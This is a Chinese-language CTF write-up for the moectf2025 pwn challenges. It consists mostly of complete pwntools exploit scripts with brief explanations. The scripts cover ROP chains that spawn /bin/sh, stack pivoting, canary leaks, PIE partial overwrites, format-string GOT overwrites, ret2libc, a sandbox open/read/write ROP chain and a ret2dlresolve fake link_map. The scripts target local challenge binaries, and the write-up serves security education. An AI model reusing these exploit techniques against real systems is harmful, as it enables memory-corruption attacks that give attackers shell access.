moectf2025
- syslock
- xdulaker
- ezpivot
- ezprotection
- fmt_t
- hardpivot
- 迁移到bss段
- 输出puts@got
- ret2libc
- exp
- shellbox
- No way to leak
- elf相关结构
- 延迟绑定
- _dl_fixup
- ret2dlresolve
- exp
- call_it
syslock
import ctypes
from pwn import *
io=remote("127.0.0.1","52550")
context(arch="amd64",os="linux",log_level="debug")
io.recvuntil(b"mode\n")
payload = b"-0000000000032\n"
io.send(payload)
io.recvuntil(b"password\n")
payload = b"\x3b"+b"\x00"*3+b"/bin/sh\x00"
io.send(payload)
io.recvuntil(b"Mode.\n")
#rdi_rsi_rdx+binsh+0+0+rax+59+syscall
rdi_rsi_rdx=p64(0x0401240)
syscall=p64(0x00401230)
pop_rax=p64(0x00401244)
binsh=p64(0x00404084)
payload=b"A"*72+rdi_rsi_rdx+binsh+p64(0)+p64(0)+pop_rax+p64(59)+syscall
io.send(payload)
io.interactive()
系统调用的实现方式如下
- 设定参数 rdi,rsi,rdx
- 设定rax,表示系统调用号
- 调用syscall
第一次溢出在bss段里写入/bin/sh,第二次溢出时用gadget和/bin/sh写payload
xdulaker
import ctypes
from pwn import *
io=remote("127.0.0.1","60376")
context(arch="amd64",os="linux",log_level="debug")io.recvuntil(b">")
io.sendline("1")
io.recvuntil(b":")
opt=io.recvuntil(b"\n")[:-1]
opt=int(opt.decode(),16)
pie=opt-0x00004010
backdoor=pie+0x0000124eio.recvuntil(b">")
io.sendline("2")
io.sendafter(b"!\n",b"xdulaker"*8)
io.recvuntil(b">")
io.sendline("3")
io.recvuntil(b"xdulaker\n")payload=b"a"*56+p64(backdoor)
io.sendline(payload)
io.interactive()
先进行patch
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./pwn
patchelf --add-needed ./libc.so.6 ./pwn
程序开启了PIE,通过1操作得到bss中的opt地址
2操作写在栈上的内容不会被清除,可以覆盖3操作中的变量
ezpivot
import ctypes
from pwn import *
io=remote("127.0.0.1","63804")
context(arch="amd64",os="linux",log_level="debug")io.recvuntil(b"introduction.\n")
io.sendline(b"-1")
payload=b"a"*(0x700-8)+p64(0x404060)+b"/bin/sh\x00"+p64(0x401219)+p64(0x404060+0x700)+p64(0x40101a)+p64(0x4010a0)
print(payload)
io.sendline(payload)io.recvuntil(b"number:\n")
payload=b"a"*12+p64(0x404060+0x700)+p64(0x40120f)
print(payload)
io.send(payload)io.interactive()
#moectf{hOW-Can-yOu_get-tHlS_Iibc-4dDr321d036}
栈迁移,因为system函数是第一次调用要跳到system@plt
ezprotection
import ctypes
from pwn import *
io=remote("127.0.0.1","61075")
context(arch="amd64",os="linux",log_level="debug")io.recvuntil(b"you.\n")
io.send(b"A"*24+b"B")
io.recvuntil(b"B")
s=io.recvuntil(b"anyway.\n")
canary=b"\x00"+s[:7]
payload=b"A"*24+canary+b"A"*8+p16(0x327d)
io.send(payload)
s=io.recvall(timeout=1)
#moectf{hOW-Can-yOu_get-tHlS_Iibc-4dDr321d036}
- 溢出修改canary的最低位然后输出
- pie随机化最小到内存页大小,一般是0x1000,text段的后12位是不变的。可以通过溢出修改后16位,每次有1/16的概率正确
fmt_t
import ctypes
from pwn import *
io=remote("127.0.0.1","64010")
context(arch="amd64",os="linux",log_level="debug")elf = ELF('C:\\Users\\nnqab\\Desktop\\fmt_t\\pwn')
libc = ELF('C:\\Users\\nnqab\\Desktop\\fmt_t\\libc.so.6')io.send(b"%11$p")
io.recvuntil(b"0x")
libc_start=io.recvuntil(b"A")[:-1]
libc_start=int("0x"+libc_start.decode(),16)+0x30libc.address=libc_start-0x29dc0
system=libc.symbols['system']
binsh=next(libc.search(b'/bin/sh\x00'))rop=ROP(libc)
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi'])[0]
printf_got=elf.got['printf']io.recvuntil(b"hell.\n")
io.send(b"sh\x00%")io.recvuntil(b"hell.\n")
payload=p64(printf_got)+p64(printf_got+1)
io.send(payload)
# moectf{I-w1l1-41W@YS_6E_w4TchiNg_Y0u7afaf1}
io.recvuntil(b"hell.\n")
cnt1=system&0xff
cnt2=(system>>8)&0xffff
payload="%{}c%24$hhn".format(cnt1).encode()+"%{}c%25$hn".format(cnt2-cnt1).encode()
io.sendline(payload)io.interactive()
#moectf{hOW-Can-yOu_get-tHlS_Iibc-4dDr321d036}
泄露栈上的一个地址,写printf_got,再用fmt把printf改成system。
用链修改栈上返回地址retpos->retaddr的流程是找到A->B,用%n向A写入retpos,变成B->retpos,再向B写入backdoor,变成retpos->backdoor
hardpivot

vuln函数有16个字节的溢出,基本思路是栈迁移,构造rop链泄露基址再ret2libc。
迁移到bss段
没有栈上的地址也没开pie,可以迁移到bss段。需要多次读入,返回地址写成read

这里的 buf 是 0x40,迁移的 addr 写成 bss+0x40 ,从 bss 开始写
payload1=b"A"*0x40+p64(bss+0x40)+p64(read)
输出puts@got
写完 buf 后把 rip 弄过去,再把 rbp 跳转到 bss2+0x40
payload2=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(puts_got)+
p64(puts_plt)+p64(read)+b"A"*24+p64(bss)+p64(leave_ret)
- 第一次迁移后,rip 指向 call _read 后,rbp 跳转到 bss+0x40
- 执行 read 后的 leave
- 执行 read 后的 ret
- 执行栈上的 leave ret
- 再次进入 read ,输入 payload3
| stack | pos | reg1 | reg2 | reg3 | reg4 |
|---|---|---|---|---|---|
| bss2+0x40 | bss | rbp | rbp | ||
| pop_rdi | rip | ||||
| puts_got | rsp | ||||
| puts_plt | |||||
| read | |||||
| padding | |||||
| bss | bss+0x40 | rbp | |||
| leave_ret | rsp | rip | |||
| ... | rsp | ||||
| bss2+0x40 | rbp |
ret2libc
payload3=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(binsh)+
p64(ret)+p64(system)+b"A"*24+p64(bss+0x250)+p64(leave_ret)
exp
import ctypes
from pwn import *
io=remote("127.0.0.1","53774")
context(arch="amd64",os="linux",log_level="debug")elf = ELF('C:\\Users\\nnqab\\Desktop\\hardpivot\\pwn')
libc = ELF('C:\\Users\\nnqab\\Desktop\\hardpivot\\libc.so.6')read=0x401264
bss=0x4040A0+0x500io.recvuntil(b"> ")
payload1=b"A"*0x40+p64(bss+0x40)+p64(read)
io.send(payload1)ret=0x40101a
pop_rdi=0x40119e
leave_ret=0x40127b
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']payload2=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read)+b"A"*24+p64(bss)+p64(leave_ret)
io.send(payload2)
print(payload1)
print(payload2)puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc.address=puts_addr - libc.symbols['puts']
system=libc.symbols['system']
binsh=next(libc.search(b'/bin/sh'))payload3=p64(bss+0x250+0x40)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+b"A"*24+p64(bss+0x250)+p64(leave_ret)
io.send(payload3)io.interactive()
shellbox
沙箱orw,静态链接,openat

main 向 buf 读入 256 个字节,然后每次往 v4 里读 8 个字节

做法是先往 buf 里写 orw 的 rop 链,再把栈迁移过去。正常运行 v4 只能输入一次,但 v4 和 v5 相邻,可以在第一次输入时把 v5 覆盖成 1,下次读入从 rbp+8 开始。因为没法控制 rbp 的返回地址,要改一下迁移的写法,可以用 pop_rsp
payload=b"./flag"+b"\x00"+b"A"
payload+=b"./flag"+b"\x00"+b"A"
payload+=p64(pop_rdi)+p64(-100&0xffffffffffffffff)+p64(pop_rsi)+p64(buf)+p64(pop_rdx)+p64(0)+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(write)payload1=p64(pop_rsp) # rbp+8
payload2=p64(buf+16)
然后就遇到了很神秘的问题,一开始payload是 ./flag + rop链,./flag写在 buf,rop 从 rbp+8 开始,结果没跑通,最后 buf 变成了奇怪的东西

openat 把 buf 也就是 rbp+0x38 覆盖了,要预留空间

import ctypes
from pwn import *
context(arch="amd64",os="linux",log_level="debug")elf = ELF('./pwn')
io = process('./pwn')write=0x4429f0
openat=0x442840
read=0x442950
pop_rdi=0x401a40
pop_rsi=0x401a42
pop_rdx=0x401a44
pop_rsp=0x4121a8
buf=0x4ceb60
leave_ret=0x401ab0io.recvuntil("it.\n")
payload=b"./flag"+b"\x00"+b"A"
payload+=b"./flag"+b"\x00"+b"A"
payload+=p64(pop_rdi)+p64(-100&0xffffffffffffffff)+p64(pop_rsi)+p64(buf)+p64(pop_rdx)+p64(0)+p64(openat)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(buf+0x200)+p64(pop_rdx)+p64(0x50)+p64(write)
io.send(payload)io.recvuntil("..\n")
io.send(b"aaaa"+p32(1))payload1=p64(pop_rsp)
payload2=p64(buf+16)io.recvuntil(b">")
io.send(payload1)
io.recvuntil(b">")
io.send(payload2)gdb.attach(io)for i in range(6) :io.sendafter(b">",b"\x00"*8)io.interactive()
"""
payload += asm(shellcraft.openat(-100,'./flag\x00'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))"""
No way to leak
elf相关结构
.dynstr/strtab
string
.dynsym/symtab
typedef struct
{ Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
.rela.plt/jmprel
typedef struct {Elf64_Addr r_offset; // GOT 表项偏移Elf64_Xword r_info; // 符号索引 + 重定位类型Elf64_Sxword r_addend;
} Elf64_Rela;
link_map
struct link_map {Elf64_Addr l_addr;char *l_name;Elf64_Dyn *l_ld;struct link_map *l_next;struct link_map *l_prev;struct link_map *l_real;Lmid_t l_ns;struct libname_list *l_libname;Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
}
延迟绑定
func@plt 是 jmp func@got + push index + jmp plt0,func@got最开始指向第二条指令。plt0是push got[1](linkmap) + jmp got[2](dl_runtime_resolve)。 dl_runtime_resolve调用_dl_fixup
_dl_fixup
dl_runtime_resolve传入参数后会进入_dl_fixup
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{// 获取link_map中存放DT_SYMTAB的地址const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);// 获取link_map中存放DT_STRTAB的地址const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);// reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);// 根据重定位结构体的r_info得到symtab表中对应的结构体const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);lookup_t result;DL_FIXUP_VALUE_TYPE value;/* Sanity check that we're really looking at a PLT relocation. */assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7/* Look up the target symbol. If the normal lookup rules are notused don't look in the global scope. */if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码{const struct r_found_version *version = NULL;// 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL){// 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;version = &l->l_versions[ndx];if (version->hash == 0)version = NULL;} /* We need to keep the scope around so do some locking. This isnot necessary for objects which cannot be unloaded or whenwe are not using any threads (yet). */int flags = DL_LOOKUP_ADD_DEPENDENCY;if (!RTLD_SINGLE_THREAD_P){THREAD_GSCOPE_SET_FLAG ();flags |= DL_LOOKUP_GSCOPE_LOCK;}RTLD_ENABLE_FOREIGN_CALL;// 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);/* We are done with the global scope. */if (!RTLD_SINGLE_THREAD_P)THREAD_GSCOPE_RESET_FLAG ();RTLD_FINALIZE_FOREIGN_CALL;/* Currently result contains the base load address (or link map)of the object that defines sym. Now add in the symboloffset. */// 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_valuevalue = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);}else{ // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value/* We already found the symbol. The module (and therefore its loadaddress) is also known. */value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);result = l;}/* And now perhaps the relocation addend. */value = elf_machine_plt_value (l, reloc, value);if (sym != NULL&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));/* Finally, fix up the plt itself. */if (__glibc_unlikely (GLRO(dl_bind_not)))return value;// 最后把value写入相应的GOT表条目中return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
简单来说,dl_fixup接收linkmap和index,随后向got表里写入函数在内存中的位置
确定写入位置:
从linkmap的l_info里找到.rela.plt的位置,用index找到函数在rel段对应的结构体,其中的offset作为要向got表写的地址
确定写入内容:
从link_map的l_info里找到symtab的位置,用index找到函数在.rela.plt对应的结构体。在other为0时,r_info找到symtab中的位置,用s_name在strtab中找字符串,在libc中查找函数名的位置,得到运行地址。不为0时,s_value就是字符串在strtab的位置
ret2dlresolve
开启了partial relro,无法修改strtab和symtab。考虑进入other不为0的分支,修改l_addr和s_value,使得写入内容为system的地址。需要伪造一个linkmap,把l_addr改成libc_system-libc_func,s_value改成addr_func。
exp
import ctypes
from pwn import *context(arch="amd64",os="linux",log_level="debug")elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
io=remote("127.0.0.1","33473")def create_fake_linkmap (fake_linkmap_addr,known_func_ptr,offset) :linkmap = p64(offset & (2**64-1))linkmap += p64(0) #symtablinkmap += p64(known_func_ptr-0x8) #直接用system@got-8,可以满足other不为0和s_value的要求linkmap += p64(0) #jmprellinkmap += p64(fake_linkmap_addr+0x28) #.rel.plt起始地址linkmap += p64((fake_linkmap_addr+0x38-offset) & (2**64-1))linkmap += p64(0x7) #r_infolinkmap += p64(0) #got写回地址linkmap += p64(0)linkmap += b'/bin/sh\x00'linkmap = linkmap.ljust(0x68,b'a')linkmap += p64(fake_linkmap_addr) #strtab,随便写一个可读区域就行linkmap += p64(fake_linkmap_addr+0x8) #symtablinkmap = linkmap.ljust(0xf8,b'a')linkmap += p64(fake_linkmap_addr+0x18) #jmprelreturn linkmapbss = 0x404080
bss_stage = bss+0x100
plt_load = 0x401026read_got = elf.got['read']
read_plt = elf.plt['read']
l_addr = libc.sym['system']-libc.sym['read']linkmap = create_fake_linkmap(bss_stage,read_got,l_addr)ret = 0x40101a
pop_rdi = 0x40115e
pop_rsi = 0x401160payload = flat (b'a'*15*8,pop_rdi,0,pop_rsi,bss_stage,read_plt, pop_rdi,bss_stage+0x48,plt_load, #fake system@pltbss_stage,0
)io.sendline(payload)
pause()
io.send(linkmap)
io.interactive()"""
payload += asm(shellcraft.openat(-100,'./flag\x00'))
payload += asm(shellcraft.read(3,bss+0x700,0x100))
payload += asm(shellcraft.write(1,bss+0x700,0x100))"""
call_it
防护开得很全

gift

功能是用 rdi+0x8 作为参数,调用 rdi+0x10 的函数,可以利用
excute

gesture里传入gift就可以直接执行了
然后确实可以溢出到gesture里
from pwn import *context(arch="amd64",os="linux",log_level="debug")
io=process("./call_it")def opt(x) :io.recvuntil("gesture: ")io.sendline(x)
def talk(x) :io.recvuntil("gesture? ")io.send(x)for i in range(7):opt("6")opt("2")
talk(b"/bin/sh\x00\n")#gdb.attach(io)gift = 0x401235
system = 0x401228
binsh = 0x4040d0
payload = p64(gift)+p64(binsh)opt("2")
talk(payload[0:15])opt("2")
talk(p64(system)+b"\n")opt("0")
io.interactive()